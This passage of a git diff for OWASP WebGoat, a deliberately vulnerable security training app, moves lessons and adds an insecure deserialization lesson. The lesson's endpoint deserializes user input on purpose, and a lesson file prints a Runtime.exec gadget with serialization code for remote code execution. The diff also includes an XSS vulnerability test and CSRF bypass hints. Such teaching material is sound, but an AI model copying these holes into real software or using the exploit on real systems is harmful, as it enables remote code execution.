extends LessonTest { + + private MockMvc mockMvc; + + @Before + public void setup() { + ClientSideFiltering clientSideFiltering = new ClientSideFiltering(); + when(webSession.getCurrentLesson()).thenReturn(clientSideFiltering); + this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build(); + when(webSession.getUserName()).thenReturn("unit-test"); + } + + @Test + public void success() throws Exception { + mockMvc.perform(MockMvcRequestBuilders.post("/clientSideFiltering/getItForFree") + .param("checkoutCode", SUPER_COUPON_CODE)) + .andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true))); + } + + @Test + public void wrongCouponCode() throws Exception { + mockMvc.perform(MockMvcRequestBuilders.post("/clientSideFiltering/getItForFree") + .param("checkoutCode", "test")) + .andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.not.solved")))) + .andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false))); + } +} \ No newline at end of file diff --git a/webgoat-lessons/challenge/src/test/java/org/owasp/webgoat/plugin/challenge2/ShopEndpointTest.java b/webgoat-lessons/client-side-filtering/src/test/java/org/owasp/webgoat/plugin/ShopEndpointTest.java similarity index 74% rename from webgoat-lessons/challenge/src/test/java/org/owasp/webgoat/plugin/challenge2/ShopEndpointTest.java rename to webgoat-lessons/client-side-filtering/src/test/java/org/owasp/webgoat/plugin/ShopEndpointTest.java index e50e2aa8f..c69189168 100644 --- a/webgoat-lessons/challenge/src/test/java/org/owasp/webgoat/plugin/challenge2/ShopEndpointTest.java +++ b/webgoat-lessons/client-side-filtering/src/test/java/org/owasp/webgoat/plugin/ShopEndpointTest.java @@ -1,4 +1,4 @@ -package org.owasp.webgoat.plugin.challenge2; +package org.owasp.webgoat.plugin; import org.hamcrest.CoreMatchers; import org.junit.Before; @@ -9,7 +9,7 @@ import org.springframework.test.web.servlet.MockMvc; import org.springframework.test.web.servlet.request.MockMvcRequestBuilders; import static org.hamcrest.Matchers.is; -import static org.owasp.webgoat.plugin.SolutionConstants.SUPER_COUPON_CODE; +import static org.owasp.webgoat.plugin.ClientSideFilteringFreeAssignment.SUPER_COUPON_CODE; import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath; import static org.springframework.test.web.servlet.setup.MockMvcBuilders.standaloneSetup; @@ -30,28 +30,28 @@ public class ShopEndpointTest { @Test public void getSuperCoupon() throws Exception { - mockMvc.perform(MockMvcRequestBuilders.get("/challenge-store/coupons/" + SUPER_COUPON_CODE)) + mockMvc.perform(MockMvcRequestBuilders.get("/clientSideFiltering/challenge-store/coupons/" + SUPER_COUPON_CODE)) .andExpect(jsonPath("$.code", CoreMatchers.is(SUPER_COUPON_CODE))) .andExpect(jsonPath("$.discount", CoreMatchers.is(100))); } @Test public void getCoupon() throws Exception { - mockMvc.perform(MockMvcRequestBuilders.get("/challenge-store/coupons/webgoat")) + mockMvc.perform(MockMvcRequestBuilders.get("/clientSideFiltering/challenge-store/coupons/webgoat")) .andExpect(jsonPath("$.code", CoreMatchers.is("webgoat"))) .andExpect(jsonPath("$.discount", CoreMatchers.is(25))); } @Test public void askForUnknownCouponCode() throws Exception { - mockMvc.perform(MockMvcRequestBuilders.get("/challenge-store/coupons/does-not-exists")) + mockMvc.perform(MockMvcRequestBuilders.get("/clientSideFiltering/challenge-store/coupons/does-not-exists")) .andExpect(jsonPath("$.code", CoreMatchers.is("no"))) .andExpect(jsonPath("$.discount", CoreMatchers.is(0))); } @Test public void fetchAllTheCouponsShouldContainGetItForFree() throws Exception { - mockMvc.perform(MockMvcRequestBuilders.get("/challenge-store/coupons/")) + mockMvc.perform(MockMvcRequestBuilders.get("/clientSideFiltering/challenge-store/coupons/")) .andExpect(jsonPath("$.codes[3].code", is("get_it_for_free"))); } diff --git a/webgoat-lessons/cross-site-scripting/pom.xml b/webgoat-lessons/cross-site-scripting/pom.xml index e4612dbe3..86709473c 100644 --- a/webgoat-lessons/cross-site-scripting/pom.xml +++ b/webgoat-lessons/cross-site-scripting/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - 8.0.0.M3 + v8.0.0.M15 diff --git a/webgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/plugin/CrossSiteScripting.java b/webgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/plugin/CrossSiteScripting.java index 609fb49cd..c1453a112 100644 --- a/webgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/plugin/CrossSiteScripting.java +++ b/webgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/plugin/CrossSiteScripting.java @@ -60,7 +60,7 @@ public class CrossSiteScripting extends NewLesson { @Override public String getTitle() { - return "Cross Site Scripting"; + return "xss.title"; } @Override diff --git a/webgoat-lessons/cross-site-scripting/src/main/resources/i18n/WebGoatLabels.properties b/webgoat-lessons/cross-site-scripting/src/main/resources/i18n/WebGoatLabels.properties index 9d3490287..3f6a96ee2 100644 --- a/webgoat-lessons/cross-site-scripting/src/main/resources/i18n/WebGoatLabels.properties +++ b/webgoat-lessons/cross-site-scripting/src/main/resources/i18n/WebGoatLabels.properties @@ -1,4 +1,5 @@ # XSS success, failure messages and hints +xss.title=Cross Site Scripting xss-reflected-5a-success=well done, but alerts aren't very impressive are they? Please continue. xss-reflected-5a-failure=Try again. We do want to see this specific javascript (in case you are trying to do something more fancy) xss-reflected-5b-success=Correct ... because
  • The script was not triggered by the URL/QueryString
  • Even if you use the attack URL in a new tab, it won't execute (becuase of response type). Try it if you like.
diff --git a/webgoat-lessons/cross-site-scripting/src/test/java/org/owasp/webgoat/plugin/StoredXssCommentsTest.java b/webgoat-lessons/cross-site-scripting/src/test/java/org/owasp/webgoat/plugin/StoredXssCommentsTest.java index 3187e936b..a333a2602 100644 --- a/webgoat-lessons/cross-site-scripting/src/test/java/org/owasp/webgoat/plugin/StoredXssCommentsTest.java +++ b/webgoat-lessons/cross-site-scripting/src/test/java/org/owasp/webgoat/plugin/StoredXssCommentsTest.java @@ -33,8 +33,10 @@ import org.mockito.runners.MockitoJUnitRunner; import org.owasp.webgoat.assignments.AssignmentEndpointTest; import org.springframework.http.MediaType; import org.springframework.test.web.servlet.MockMvc; +import org.springframework.test.web.servlet.MvcResult; import org.springframework.test.web.servlet.ResultActions; import org.springframework.test.web.servlet.request.MockMvcRequestBuilders; +import org.springframework.util.Assert; import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath; @@ -80,13 +82,13 @@ public class StoredXssCommentsTest extends AssignmentEndpointTest { */ //Ensures it is vulnerable -// @Test -// public void isNotEncoded() throws Exception { -// //do get to get comments after posting xss payload -// ResultActions taintedResults = mockMvc.perform(MockMvcRequestBuilders.get("/CrossSiteScripting/stored-xss")); -// taintedResults.andExpect(jsonPath("$[0].text",CoreMatchers.is(CoreMatchers.containsString("")))); -// } - + @Test + public void isNotEncoded() throws Exception { + //do get to get comments after posting xss payload + ResultActions taintedResults = mockMvc.perform(MockMvcRequestBuilders.get("/CrossSiteScripting/stored-xss")); + MvcResult mvcResult = taintedResults.andReturn(); + assert(mvcResult.getResponse().getContentAsString().contains(" -
-
+ +
@@ -133,65 +139,71 @@ padding: 7px; margin-top:7px; padding:5px;"> -
-
-
-
-
-
-
-
-
- - -
-
- -
+
+
+
+
+
+
+ +
+
+
+ + +
+
+ +
-
+
+
+
+ + +
-
- - +
+
+ + +
+
+
+
-
-
- - -
-
-
- -
-
- + +
+
+
@@ -211,7 +223,6 @@ -
diff --git a/webgoat-lessons/csrf/src/main/resources/i18n/WebGoatLabels.properties b/webgoat-lessons/csrf/src/main/resources/i18n/WebGoatLabels.properties index 5571650f5..81ac02495 100644 --- a/webgoat-lessons/csrf/src/main/resources/i18n/WebGoatLabels.properties +++ b/webgoat-lessons/csrf/src/main/resources/i18n/WebGoatLabels.properties @@ -20,7 +20,7 @@ csrf-review-hint3=This one has a weak anti-CSRF protection, but you do need to o csrf-feedback-hint1=Look at the content-type. csrf-feedback-hint2=Try to post the same message with content-type text/plain -csrf-feedback-hint3=The json can be put into a hidden field inside +csrf-feedback-hint3=The json can be put into a hidden field inside csrf-feedback-invalid-json=Invalid JSON received. csrf-feedback-success=Congratulations you have found the correct solution, the flag is: {0} diff --git a/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_ContentType.adoc b/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_ContentType.adoc index 3e9f217c6..735e320bc 100644 --- a/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_ContentType.adoc +++ b/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_ContentType.adoc @@ -8,11 +8,11 @@ In this assignment you need to achieve to POST the following JSON message to our [source] ---- -POST /csrf/feedback HTTP/1.1 +POST /csrf/feedback/message HTTP/1.1 { "name" : "WebGoat", - "email" : "webgoat@webgoat.org" + "email" : "webgoat@webgoat.org", "content" : "WebGoat is the best!!" } ---- diff --git a/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Frameworks.adoc b/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Frameworks.adoc index dff9a78c1..43b9d31f6 100644 --- a/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Frameworks.adoc +++ b/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Frameworks.adoc @@ -13,9 +13,14 @@ match and this will ensure the server the request is running on the same domain. Remember the session cookie should always be defined with http-only flag. -Another effective defense can be to add a custom request header to each call. This will work if all the interactions +== Custom headers not safe + +Another defense can be to add a custom request header to each call. This will work if all the interactions with the server are performed with JavaScript. On the server side you only need to check the presence of this header if this header is not present deny the request. +Some frameworks offer this implementation by default however researcer Alex Infuhr found out that this can be bypassed +as well. You can read about: http://insert-blogspot.nl/2018/05/adobe-reader-pdf-client-side-request.html?m=1[Adobe Reader PDF - Client Side Request Injection] + diff --git a/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Impact_Defense.adoc b/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Impact_Defense.adoc index f1faab81b..c6ef48c1c 100644 --- a/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Impact_Defense.adoc +++ b/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Impact_Defense.adoc @@ -4,7 +4,20 @@ The impact is limited only by what the logged in user can do (if the site/functi The areas that are really prone to CSRF attacks are IoT devices and 'smart' appliances. Sadly, many consumer-grade routers have also proven vulnerable to CSRF. -== CSRF Solution +== CSRF solutions + +=== Same site cookie attribute + +This is a new extension which modern browsers support which limits the scope of the cookie such that it will only be +attached to requests if those requests are 'same-site' +For example requests for `http://webgoat.org/something` will attach same-site cookies if the request is initiated from +`webgoat.org`. +There are two modes, strict and lax. The first one does not allow cross site request, this means when you are on +github.com and you want to like it through Facebook (and Facebook specifies same-site as strict) you will be +redirected to the login page, because the browser does not attach the cookie for Facebook. +More information can be found here: www.sjoerdlangkemper.nl/2016/04/14/preventin-csrf-with-samesite-cookie-attribute/ + +=== Other protections Fortunately, many (web) application frameworks now come with built in support to handle CSRF attacks. For example, Spring and Tomcat have this on by default. As long as you don't turn it off (like it is in WebGoat), you should be safe from CSRF attacks. diff --git a/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_JSON.adoc b/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_JSON.adoc index bcf7be949..41e8e3d4c 100644 --- a/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_JSON.adoc +++ b/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_JSON.adoc @@ -3,7 +3,7 @@ A lot of web applications implement no protection against CSRF they are somehow protected by the fact that they only work with `application/json` as content type. The only way to make a request with this content-type from the browser is with a XHR request. Before the browser can make such a request a preflight request will be made towards -the server (remember the CSRF request will be cross origin). If the preflight response does not allow the cross origin +the server (remember the CSRF request will be cross origin). If the pre-flight response does not allow the cross origin request the browser will not make the call. To make a long answer short: this is *not* a valid protection against CSRF. diff --git a/webgoat-lessons/csrf/src/test/java/org/owasp/webgoat/plugin/CSRFFeedbackTest.java b/webgoat-lessons/csrf/src/test/java/org/owasp/webgoat/plugin/CSRFFeedbackTest.java index 98c44077f..495a2cf9b 100644 --- a/webgoat-lessons/csrf/src/test/java/org/owasp/webgoat/plugin/CSRFFeedbackTest.java +++ b/webgoat-lessons/csrf/src/test/java/org/owasp/webgoat/plugin/CSRFFeedbackTest.java @@ -46,13 +46,10 @@ public class CSRFFeedbackTest extends LessonTest { mockMvc.perform(post("/csrf/feedback/message") .contentType(MediaType.TEXT_PLAIN) .cookie(new Cookie("JSESSIONID", "test")) - .header("host", "localhost:8080") + .header("origin", "localhost:8080") .header("referer", "webgoat.org") .content("{\"name\": \"Test\", \"email\": \"test1233@dfssdf.de\", \"subject\": \"service\", \"message\":\"dsaffd\"}")) .andExpect(jsonPath("lessonCompleted", is(true))) .andExpect(jsonPath("feedback", StringContains.containsString("the flag is: "))); } - - - } \ No newline at end of file diff --git a/webgoat-lessons/html-tampering/pom.xml b/webgoat-lessons/html-tampering/pom.xml index 8c1bd0cc1..ec3f51ffe 100755 --- a/webgoat-lessons/html-tampering/pom.xml +++ b/webgoat-lessons/html-tampering/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - 8.0.0.M3 + v8.0.0.M15 diff --git a/webgoat-lessons/http-basics/pom.xml b/webgoat-lessons/http-basics/pom.xml index 8186c300a..d70f14823 100644 --- a/webgoat-lessons/http-basics/pom.xml +++ b/webgoat-lessons/http-basics/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - 8.0.0.M3 + v8.0.0.M15 diff --git a/webgoat-lessons/http-basics/src/main/resources/i18n/WebGoatLabels.properties b/webgoat-lessons/http-basics/src/main/resources/i18n/WebGoatLabels.properties index 71209ebca..a99bf8ab6 100644 --- a/webgoat-lessons/http-basics/src/main/resources/i18n/WebGoatLabels.properties +++ b/webgoat-lessons/http-basics/src/main/resources/i18n/WebGoatLabels.properties @@ -8,6 +8,7 @@ http-basics.hints.http_basic_quiz.1=Turn on Show Parameters or other features http-basics.hints.http_basic_quiz.2=Try to intercept the request with OWASP ZAP +http-basics.empty=Try again, name cannot be empty. http-basics.reversed=The server has reversed your name: {0} http-basics.close=Try again: but this time enter a value before hitting go. diff --git a/webgoat-lessons/http-proxies/pom.xml b/webgoat-lessons/http-proxies/pom.xml index ac544a8f7..42810af9b 100644 --- a/webgoat-lessons/http-proxies/pom.xml +++ b/webgoat-lessons/http-proxies/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - 8.0.0.M3 + v8.0.0.M15 diff --git a/webgoat-lessons/http-proxies/src/main/java/org/owasp/webgoat/plugin/HttpBasicsInterceptRequest.java b/webgoat-lessons/http-proxies/src/main/java/org/owasp/webgoat/plugin/HttpBasicsInterceptRequest.java index e39670e57..3c7d42f44 100644 --- a/webgoat-lessons/http-proxies/src/main/java/org/owasp/webgoat/plugin/HttpBasicsInterceptRequest.java +++ b/webgoat-lessons/http-proxies/src/main/java/org/owasp/webgoat/plugin/HttpBasicsInterceptRequest.java @@ -48,7 +48,7 @@ public class HttpBasicsInterceptRequest extends AssignmentEndpoint { @RequestMapping(method = RequestMethod.GET) public @ResponseBody - AttackResult completed(HttpServletRequest request) throws IOException { + AttackResult completed(HttpServletRequest request) { String header = null; String param = null; if (request != null && (header = request.getHeader("x-request-intercepted")) != null diff --git a/webgoat-lessons/idor/pom.xml b/webgoat-lessons/idor/pom.xml index a4218f71f..1ff614abb 100644 --- a/webgoat-lessons/idor/pom.xml +++ b/webgoat-lessons/idor/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - 8.0.0.M3 + v8.0.0.M15 \ No newline at end of file diff --git a/webgoat-lessons/insecure-deserialization/pom.xml b/webgoat-lessons/insecure-deserialization/pom.xml new file mode 100755 index 000000000..70dc18780 --- /dev/null +++ b/webgoat-lessons/insecure-deserialization/pom.xml @@ -0,0 +1,27 @@ + + 4.0.0 + insecure-deserialization + jar + + org.owasp.webgoat.lesson + webgoat-lessons-parent + v8.0.0.M15 + + + + + org.springframework.boot + spring-boot-starter-test + test + + + org.springframework.security + spring-security-test + 4.1.3.RELEASE + test + + + + + diff --git a/webgoat-lessons/insecure-deserialization/src/main/java/org/owasp/webgoat/plugin/InsecureDeserialization.java b/webgoat-lessons/insecure-deserialization/src/main/java/org/owasp/webgoat/plugin/InsecureDeserialization.java new file mode 100755 index 000000000..a992b6de6 --- /dev/null +++ b/webgoat-lessons/insecure-deserialization/src/main/java/org/owasp/webgoat/plugin/InsecureDeserialization.java @@ -0,0 +1,63 @@ +package org.owasp.webgoat.plugin; + +import com.beust.jcommander.internal.Lists; +import org.owasp.webgoat.lessons.Category; +import org.owasp.webgoat.lessons.NewLesson; + +import java.util.List; + +/** + * ************************************************************************************************ + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + *

+ * Copyright (c) 2002 - 20014 Bruce Mayhew + *

+ * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + *

+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + *

+ * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + *

+ * Getting Source ============== + *

+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software + * projects. + *

+ * + * @author WebGoat + * @version $Id: $Id + * @since October 12, 2016 + */ +public class InsecureDeserialization extends NewLesson { + @Override + public Category getDefaultCategory() { + return Category.INSECURE_DESERIALIZATION; + } + + @Override + public List getHints() { + return Lists.newArrayList(); + } + + @Override + public Integer getDefaultRanking() { + return 1; + } + + @Override + public String getTitle() { + return "insecure-deserialization.title"; + } + + @Override + public String getId() { + return "InsecureDeserialization"; + } +} diff --git a/webgoat-lessons/insecure-deserialization/src/main/java/org/owasp/webgoat/plugin/InsecureDeserializationTask.java b/webgoat-lessons/insecure-deserialization/src/main/java/org/owasp/webgoat/plugin/InsecureDeserializationTask.java new file mode 100755 index 000000000..39558864a --- /dev/null +++ b/webgoat-lessons/insecure-deserialization/src/main/java/org/owasp/webgoat/plugin/InsecureDeserializationTask.java @@ -0,0 +1,90 @@ +package org.owasp.webgoat.plugin; + +import org.owasp.webgoat.assignments.AssignmentEndpoint; +import org.owasp.webgoat.assignments.AssignmentPath; +import org.owasp.webgoat.assignments.AttackResult; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestMethod; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; + +import javax.servlet.http.HttpServletRequest; +import java.io.IOException; +import java.io.ObjectInputStream; +import java.io.ByteArrayInputStream; +import java.util.Base64; + +/** + * ************************************************************************************************* + * + * + * This file is part of WebGoat, an Open Web Application Security Project + * utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 20014 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation; either version 2 of the License, or (at your option) any later + * version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + * details. + * + * You should have received a copy of the GNU General Public License along with + * this program; if not, write to the Free Software Foundation, Inc., 59 Temple + * Place - Suite 330, Boston, MA 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + * For details, please see http://webgoat.github.io + * + * @author Bruce Mayhew WebGoat + * @created October 28, 2003 + */ +@AssignmentPath("/InsecureDeserialization/task") +public class InsecureDeserializationTask extends AssignmentEndpoint { + + @RequestMapping(method = RequestMethod.POST) + public + @ResponseBody + AttackResult completed(@RequestParam String token) throws IOException { + String b64token; + byte [] data; + ObjectInputStream ois; + Object o; + long before, after; + int delay; + + b64token = token.replace('-', '+').replace('_', '/'); + try { + data = Base64.getDecoder().decode(b64token); + ois = new ObjectInputStream( new ByteArrayInputStream(data) ); + } catch (Exception e) { + return trackProgress(failed().build()); + } + + before = System.currentTimeMillis(); + try { + o = ois.readObject(); + } catch (Exception e) { + o = null; + } + after = System.currentTimeMillis(); + ois.close(); + + delay = (int)(after - before); + if ( delay > 7000 ) { + return trackProgress(failed().build()); + } + if ( delay < 3000 ) { + return trackProgress(failed().build()); + } + return trackProgress(success().build()); + } +} diff --git a/webgoat-lessons/insecure-deserialization/src/main/resources/html/InsecureDeserialization.html b/webgoat-lessons/insecure-deserialization/src/main/resources/html/InsecureDeserialization.html new file mode 100755 index 000000000..5bdb4cd5a --- /dev/null +++ b/webgoat-lessons/insecure-deserialization/src/main/resources/html/InsecureDeserialization.html @@ -0,0 +1,41 @@ + + + + +

+
+
+ +
+
+
+ +
+
+
+ +
+
+
+ +
+ +
+
+
+ +
+ + + + +
+
+
+
+
+ diff --git a/webgoat-lessons/insecure-deserialization/src/main/resources/i18n/WebGoatLabels.properties b/webgoat-lessons/insecure-deserialization/src/main/resources/i18n/WebGoatLabels.properties new file mode 100755 index 000000000..53e252b67 --- /dev/null +++ b/webgoat-lessons/insecure-deserialization/src/main/resources/i18n/WebGoatLabels.properties @@ -0,0 +1,4 @@ +insecure-deserialization.title=Insecure Deserialization + +insecure-deserialization.intercept.success=Dangerous object received! +insecure-deserialization.intercept.failure=Try again \ No newline at end of file diff --git a/webgoat-lessons/insecure-deserialization/src/main/resources/js/credentials.js b/webgoat-lessons/insecure-deserialization/src/main/resources/js/credentials.js new file mode 100755 index 000000000..b7387c623 --- /dev/null +++ b/webgoat-lessons/insecure-deserialization/src/main/resources/js/credentials.js @@ -0,0 +1,6 @@ +function submit_secret_credentials() { + var xhttp = new XMLHttpRequest(); + xhttp['open']('POST', '#attack/307/100', true); + //sending the request is obfuscated, to descourage js reading + var _0xb7f9=["\x43\x61\x70\x74\x61\x69\x6E\x4A\x61\x63\x6B","\x42\x6C\x61\x63\x6B\x50\x65\x61\x72\x6C","\x73\x74\x72\x69\x6E\x67\x69\x66\x79","\x73\x65\x6E\x64"];xhttp[_0xb7f9[3]](JSON[_0xb7f9[2]]({username:_0xb7f9[0],password:_0xb7f9[1]})) +} \ No newline at end of file diff --git a/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_GadgetChain.adoc b/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_GadgetChain.adoc new file mode 100644 index 000000000..f5c5363d3 --- /dev/null +++ b/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_GadgetChain.adoc @@ -0,0 +1,5 @@ +== What is a Gadgets Chain + +It is weird (but it could happen) to find a gadget that runs dangerous actions itself when is deserialized. However, it is much easier to find a gadget that runs action on other gadget when it is deserializaded, and that second gadget runs more actions on a third gadget, and so on until a real dangerous action is triggered. That set of gadgets that can be used in a deserialization process to achieve dangerous actions is called "Gadget Chain". + +Finding gadgets to build gadget chains is an active topic for security researchers. This kind of research usually requires to spend a big amount of time reading code. \ No newline at end of file diff --git a/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_Intro.adoc b/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_Intro.adoc new file mode 100755 index 000000000..60882a9f4 --- /dev/null +++ b/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_Intro.adoc @@ -0,0 +1,10 @@ + +== Concept + +This lesson describes what is Serialization and how it can be manipulated to perform tasks that were not the original intent of the developer. + +== Goals +* The user should have a basic understanding of Java programming language +* The user will be able to detect insecure deserialization vulnerabilities +* The user will be able to exploit insecure deserialization vulnerabilities +* Exploiting deserialization is slightly different in other programming languages such as PHP or Python, but the key concepts learnt here also applies to all of them \ No newline at end of file diff --git a/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_SimpleExploit.adoc b/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_SimpleExploit.adoc new file mode 100644 index 000000000..d9c2b739d --- /dev/null +++ b/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_SimpleExploit.adoc @@ -0,0 +1,46 @@ +== The Simplest Exploit + +=== Vulnerable code + +The following is a well-known example for a Java Deserialization vulnerability. + +[source,java] +---- +InputStream is = request.getInputStream(); +ObjectInputStream ois = new ObjectInputStream(is); +AcmeObject acme = (AcmeObject)ois.readObject(); +---- + +It is expecting an `AcmeObject` object, but it will execute `readObject()` before the casting ocurs. +If an attacker finds the proper class implementing dangerous operations in `readObject()`, he could serialize that object and force the vulnerable application to performe those actions. + +=== Class included in ClassPath + +Attackers need to find a class in the classpath that supports serialization and with dangerous implementations on `readObject()`. + +[source,java] +---- +public class GadgetObject implements Serializable { + String cmd; + + private void readObject( ObjectInputStream stream ) throws Exception { + Runtime.getRuntime().exec(cmd); + } +} +---- + +=== Exploit + +If the java class shown above exists, attackers can serialize that object and obtain Remote Code Execution. + +[source,java] +---- +GadgetObject go = new GadgetObject(); +go.cmd = "touch /tmp/pwned.txt"; + +ByteArrayOutputStream bos = new ByteArrayOutputStream(); +ObjectOutputStream oos = new ObjectOutputStream(bos); +oos.writeObject(go); +oos.flush(); +byte[] exploit = bos.toByteArray(); +---- \ No newline at end of file diff --git a/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_Task.adoc b/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_Task.adoc new file mode 100755 index 000000000..6e65617a7 --- /dev/null +++ b/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_Task.adoc @@ -0,0 +1,8 @@ +=== Let's try +The following input box receives a serialized object (a string) and it deserialzes it. + +``` +rO0ABXQAVklmIHlvdSBkZXNlcmlhbGl6ZSBtZSBkb3duLCBJIHNoYWxsIGJlY29tZSBtb3JlIHBvd2VyZnVsIHRoYW4geW91IGNhbiBwb3NzaWJseSBpbWFnaW5l +``` + +Try to change this serialized object in order to delay the page response for exactly 5 seconds. \ No newline at end of file diff --git a/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_WhatIs.adoc b/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_WhatIs.adoc new file mode 100644 index 000000000..0d325f78e --- /dev/null +++ b/webgoat-lessons/insecure-deserialization/src/main/resources/lessonPlans/en/InsecureDeserialization_WhatIs.adoc @@ -0,0 +1,23 @@ +== What is Serialization + +Serialization is the process of turning some object into a data format that can be restored later. People often serialize objects in order to save them to storage, or to send as part of communications. Deserialization is the reverse of that process taking data structured from some format, and rebuilding it into an object. Today, the most popular data format for serializing data is JSON. Before that, it was XML. + +---- +a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user"; i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";} +---- + +=== Native Serialization + +Many programming languages offer a native capability for serializing objects. These native formats usually offer more features than JSON or XML, including customizability of the serialization process. Unfortunately, the features of these native deserialization mechanisms can be repurposed for malicious effect when operating on untrusted data. Attacks against deserializers have been found to allow denial-of-service, access control, and remote code execution attacks. + +=== Known Affected Programming Languages +* PHP +* Python +* Ruby +* Java +* C +* C++ + +=== Data, not Code + +ONLY data is serialized. Code is not serialized itself. Deserialization creates a new object and copies all the data from the byte stream, in order to obtain and object identical to the object that was serialized. \ No newline at end of file diff --git a/webgoat-lessons/insecure-login/pom.xml b/webgoat-lessons/insecure-login/pom.xml index b21689b14..4e2efea24 100755 --- a/webgoat-lessons/insecure-login/pom.xml +++ b/webgoat-lessons/insecure-login/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - 8.0.0.M3 + v8.0.0.M15 diff --git a/webgoat-lessons/insecure-login/src/main/resources/lessonPlans/en/InsecureLogin_Intro.adoc b/webgoat-lessons/insecure-login/src/main/resources/lessonPlans/en/InsecureLogin_Intro.adoc index f4fac8471..349211b39 100755 --- a/webgoat-lessons/insecure-login/src/main/resources/lessonPlans/en/InsecureLogin_Intro.adoc +++ b/webgoat-lessons/insecure-login/src/main/resources/lessonPlans/en/InsecureLogin_Intro.adoc @@ -1,6 +1,6 @@ == Concept -Encryption is a very inportant tool for secure communication. In this lesson, we will find out, why it should always be employed when sending sensitive data. +Encryption is a very important tool for secure communication. In this lesson, we will find out, why it should always be employed when sending sensitive data. == Goals * The user should have a basic understanding of packet sniffer usage diff --git a/webgoat-lessons/jwt/pom.xml b/webgoat-lessons/jwt/pom.xml index f55f51d91..cc52fc036 100644 --- a/webgoat-lessons/jwt/pom.xml +++ b/webgoat-lessons/jwt/pom.xml @@ -6,7 +6,21 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - 8.0.0.M3 + v8.0.0.M15 + + + io.jsonwebtoken + jjwt + 0.7.0 + + + org.springframework.security + spring-security-test + 4.1.3.RELEASE + test + + + diff --git a/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTFinalEndpoint.java b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTFinalEndpoint.java new file mode 100644 index 000000000..cec9fd62c --- /dev/null +++ 